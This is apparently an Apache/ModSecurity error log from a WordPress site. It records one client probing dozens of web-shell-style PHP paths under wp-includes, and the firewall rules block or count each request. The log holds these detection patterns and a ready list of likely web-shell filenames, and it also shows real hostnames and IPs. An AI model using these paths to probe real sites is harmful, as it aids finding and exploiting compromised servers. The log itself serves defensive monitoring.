[Sat Dec 06 04:46:12.189685 2025] [:error] [pid 61303:tid 61307] [client 172.192.68.20:16154] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aTNElNwK_fe00OH7zy7wGAAAAME"], referer: https://www.yahoo.com/
[Sat Dec 06 04:46:18.163464 2025] [:error] [pid 61303:tid 61314] [client 172.192.68.20:16202] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aTNEmtwK_fe00OH7zy7wGgAAAMg"], referer: https://www.bing.com/
[Sat Dec 06 04:46:20.716950 2025] [:error] [pid 61215:tid 61229] [client 172.192.68.20:16255] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aTNEnOOOZ8nTCBYuI-zCfwAAAAo"], referer: https://www.google.com/
[Sat Dec 06 04:46:24.219415 2025] [:error] [pid 35621:tid 35626] [client 172.192.68.20:16143] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aTNEoEQGb3oZH9SdKQUPvAAAAUI"], referer: https://www.google.co.uk/
[Sat Dec 06 04:46:27.197442 2025] [:error] [pid 35621:tid 35641] [client 172.192.68.20:16218] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTNEo0QGb3oZH9SdKQUPwAAAAVE"], referer: https://duckduckgo.com/
[Sat Dec 06 04:46:30.332052 2025] [:error] [pid 61303:tid 61313] [client 172.192.68.20:16240] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aTNEptwK_fe00OH7zy7wIwAAAMc"], referer: https://www.google.de/
[Sat Dec 06 04:46:32.759341 2025] [:error] [pid 61303:tid 61306] [client 172.192.68.20:16128] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aTNEqNwK_fe00OH7zy7wJAAAAMA"], referer: https://www.google.co.uk/
[Sat Dec 06 04:46:36.159397 2025] [:error] [pid 35621:tid 35645] [client 172.192.68.20:16212] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aTNErEQGb3oZH9SdKQUP0gAAAVU"], referer: https://www.google.de/
[Sat Dec 06 04:46:39.766091 2025] [:error] [pid 61303:tid 61318] [client 172.192.68.20:16210] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aTNEr9wK_fe00OH7zy7wKgAAAMw"], referer: https://www.google.de/
[Sat Dec 06 04:46:41.891323 2025] [:error] [pid 61217:tid 61278] [client 172.192.68.20:16135] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aTNEsVdSKQYfLI3fYo78LQAAAIU"], referer: https://www.google.com/
[Sat Dec 06 04:46:43.774230 2025] [:error] [pid 61215:tid 61239] [client 172.192.68.20:16129] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aTNEs-OOZ8nTCBYuI-zCigAAABQ"], referer: https://www.yahoo.com/
[Sat Dec 06 04:46:45.579835 2025] [:error] [pid 61303:tid 61324] [client 172.192.68.20:16147] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aTNEtdwK_fe00OH7zy7wMAAAANE"], referer: https://www.google.com/
[Sat Dec 06 04:46:49.751375 2025] [:error] [pid 61303:tid 61325] [client 172.192.68.20:15469] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aTNEudwK_fe00OH7zy7wPAAAANI"], referer: https://www.yahoo.com/
[Sat Dec 06 04:46:50.943380 2025] [:error] [pid 35621:tid 35644] [client 172.192.68.20:16239] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/radio.php"] [unique_id "aTNEukQGb3oZH9SdKQUP4gAAAVQ"], referer: https://www.google.co.uk/
[Sat Dec 06 04:46:52.617116 2025] [:error] [pid 35622:tid 35653] [client 172.192.68.20:16236] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aTNEvCOSP_9DVLgFwI4AFQAAAYI"], referer: https://duckduckgo.com/
[Sat Dec 06 04:46:53.660010 2025] [:error] [pid 61217:tid 61296] [client 172.192.68.20:16163] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-locale-switcher-less.php"] [unique_id "aTNEvVdSKQYfLI3fYo78OQAAAJc"], referer: https://duckduckgo.com/
[Sat Dec 06 04:46:55.320937 2025] [:error] [pid 61217:tid 61273] [client 172.192.68.20:16253] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aTNEv1dSKQYfLI3fYo78QQAAAIA"], referer: https://www.google.fr/
[Sat Dec 06 04:46:58.109995 2025] [:error] [pid 35591:tid 35605] [client 172.192.68.20:16169] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aTNEwobmw-7bFvTxc9N7NAAAAQw"], referer: https://www.yahoo.com/
[Sat Dec 06 04:47:02.099195 2025] [:error] [pid 61303:tid 61324] [client 172.192.68.20:16213] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-media-icon-control.php"] [unique_id "aTNExtwK_fe00OH7zy7wVQAAANE"], referer: https://www.google.de/
[Sat Dec 06 04:47:06.671286 2025] [:error] [pid 35622:tid 35663] [client 172.192.68.20:16142] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aTNEyiOSP_9DVLgFwI4ANwAAAYw"], referer: https://www.google.fr/
[Sat Dec 06 04:47:09.857130 2025] [:error] [pid 35622:tid 35663] [client 172.192.68.20:16152] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/sx.php"] [unique_id "aTNEzSOSP_9DVLgFwI4AQwAAAYw"], referer: https://www.bing.com/
[Sat Dec 06 04:47:11.494506 2025] [:error] [pid 35622:tid 35669] [client 172.192.68.20:16146] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aTNEzyOSP_9DVLgFwI4ATAAAAZI"], referer: https://www.google.com/
[Sat Dec 06 04:47:13.383755 2025] [:error] [pid 35622:tid 35651] [client 172.192.68.20:16158] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTNE0SOSP_9DVLgFwI4AVgAAAYA"], referer: https://duckduckgo.com/
[Sat Dec 06 04:47:16.916749 2025] [:error] [pid 61215:tid 61233] [client 172.192.68.20:15463] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aTNE1OOOZ8nTCBYuI-zCqQAAAA4"], referer: https://www.bing.com/
[Sat Dec 06 04:47:19.055641 2025] [:error] [pid 35622:tid 35658] [client 172.192.68.20:16227] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aTNE1yOSP_9DVLgFwI4AYgAAAYc"], referer: https://www.google.de/
[Sat Dec 06 04:47:20.190085 2025] [:error] [pid 61215:tid 61242] [client 172.192.68.20:16244] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aTNE2OOOZ8nTCBYuI-zCrAAAABc"], referer: https://www.google.fr/
[Sat Dec 06 04:47:21.388286 2025] [:error] [pid 61303:tid 61327] [client 172.192.68.20:16133] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTNE2dwK_fe00OH7zy7wagAAANQ"], referer: https://www.google.co.uk/
[Sat Dec 06 04:47:33.239355 2025] [:error] [pid 61216:tid 61249] [client 172.192.68.20:16225] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aTNE5THlXXVdP5ewviVyOgAAAEM"], referer: https://www.google.com/
[Sat Dec 06 04:47:34.995778 2025] [:error] [pid 61215:tid 61226] [client 172.192.68.20:16195] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aTNE5uOOZ8nTCBYuI-zCwAAAAAc"], referer: https://www.google.de/
[Sat Dec 06 04:47:35.565263 2025] [:error] [pid 61303:tid 61331] [client 172.192.68.20:16221] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aTNE59wK_fe00OH7zy7wdwAAANg"], referer: https://www.google.com/
[Sat Dec 06 04:47:40.107344 2025] [:error] [pid 61303:tid 61326] [client 172.192.68.20:16249] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aTNE7NwK_fe00OH7zy7wfgAAANM"], referer: https://www.google.com/
[Sat Dec 06 04:47:48.982437 2025] [:error] [pid 61215:tid 61238] [client 172.192.68.20:16192] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-db-array.php"] [unique_id "aTNE9OOOZ8nTCBYuI-zCzAAAABM"], referer: https://duckduckgo.com/
[Sat Dec 06 04:48:04.065357 2025] [:error] [pid 61216:tid 61260] [client 172.192.68.20:16150] [client 172.192.68.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.192.68.20, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTNFBDHlXXVdP5ewviVyUAAAAE4"], referer: https://duckduckgo.com/
[Sat Dec 06 04:48:04.185843 2025] [:error] [pid 35621:tid 35643] [client 172.192.68.20:16159] [client 172.192.68.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.192.68.20, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/xmlrpc.php"] [unique_id "aTNFBEQGb3oZH9SdKQUQTAAAAVM"], referer: https://duckduckgo.com/
[Sat Dec 06 04:48:21.513101 2025] [:error] [pid 61216:tid 61264] [client 172.192.68.20:16150] [client 172.192.68.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.192.68.20, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aTNFFTHlXXVdP5ewviVycgAAAFI"], referer: https://www.bing.com/
[Sat Dec 06 04:48:21.666391 2025] [:error] [pid 35621:tid 35631] [client 172.192.68.20:16159] [client 172.192.68.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.192.68.20, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-admin/js/wp-login.php"] [unique_id "aTNFFUQGb3oZH9SdKQUQbwAAAUc"], referer: https://www.bing.com/
[Sat Dec 06 04:48:53.139404 2025] [:error] [pid 61217:tid 61284] [client 172.192.68.20:16203] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aTNFNVdSKQYfLI3fYo78lgAAAIs"], referer: https://www.google.fr/
[Sat Dec 06 04:48:57.395297 2025] [:error] [pid 35621:tid 35641] [client 172.192.68.20:16194] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aTNFOUQGb3oZH9SdKQUQpwAAAVE"], referer: https://www.google.com/
[Sat Dec 06 04:49:01.601604 2025] [:error] [pid 35621:tid 35639] [client 172.192.68.20:16219] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aTNFPUQGb3oZH9SdKQUQrAAAAU8"], referer: https://www.google.de/
[Sat Dec 06 04:49:04.598510 2025] [:error] [pid 61303:tid 61316] [client 172.192.68.20:16159] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aTNFQNwK_fe00OH7zy7w4QAAAMo"], referer: https://www.google.com/
[Sat Dec 06 04:49:08.086741 2025] [:error] [pid 35621:tid 35626] [client 172.192.68.20:15424] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aTNFREQGb3oZH9SdKQUQrwAAAUI"], referer: https://www.google.de/
[Sat Dec 06 04:49:15.943452 2025] [:error] [pid 35622:tid 35674] [client 172.192.68.20:16231] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/search/index.php"] [unique_id "aTNFSyOSP_9DVLgFwI4A5AAAAZc"], referer: https://www.google.com/
[Sat Dec 06 04:49:17.653859 2025] [:error] [pid 35622:tid 35665] [client 172.192.68.20:16153] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aTNFTSOSP_9DVLgFwI4A6QAAAY4"], referer: https://www.google.co.uk/
[Sat Dec 06 04:49:19.561242 2025] [:error] [pid 61217:tid 61297] [client 172.192.68.20:16193] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aTNFT1dSKQYfLI3fYo78qgAAAJg"], referer: https://www.yahoo.com/
[Sat Dec 06 04:49:22.273044 2025] [:error] [pid 35622:tid 35660] [client 172.192.68.20:16170] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aTNFUiOSP_9DVLgFwI4A8wAAAYk"], referer: https://www.google.fr/
[Sat Dec 06 04:49:31.026613 2025] [:error] [pid 61216:tid 61262] [client 172.192.68.20:16197] [client 172.192.68.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aTNFWzHlXXVdP5ewviVyvQAAAFA"], referer: https://www.google.fr/
[Sat Dec 06 04:50:12.971113 2025] [autoindex:error] [pid 35621:tid 35625] [client 172.192.68.20:16163] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sat Dec 06 04:50:14.959010 2025] [autoindex:error] [pid 35621:tid 35633] [client 172.192.68.20:16191] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sat Dec 06 04:50:30.429629 2025] [autoindex:error] [pid 35621:tid 35629] [client 172.192.68.20:16163] AH01276: Cannot serve directory /home/measureyourbrand/public_html/assets/images/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sat Dec 06 04:50:38.402605 2025] [authz_core:error] [pid 35621:tid 35647] [client 172.192.68.20:16191] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/system/, referer: https://www.google.de/
[Sat Dec 06 05:59:50.736002 2025] [:error] [pid 35622:tid 35656] [client 121.229.185.160:44650] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTNV1iOSP_9DVLgFwI4gBQAAAYU"]
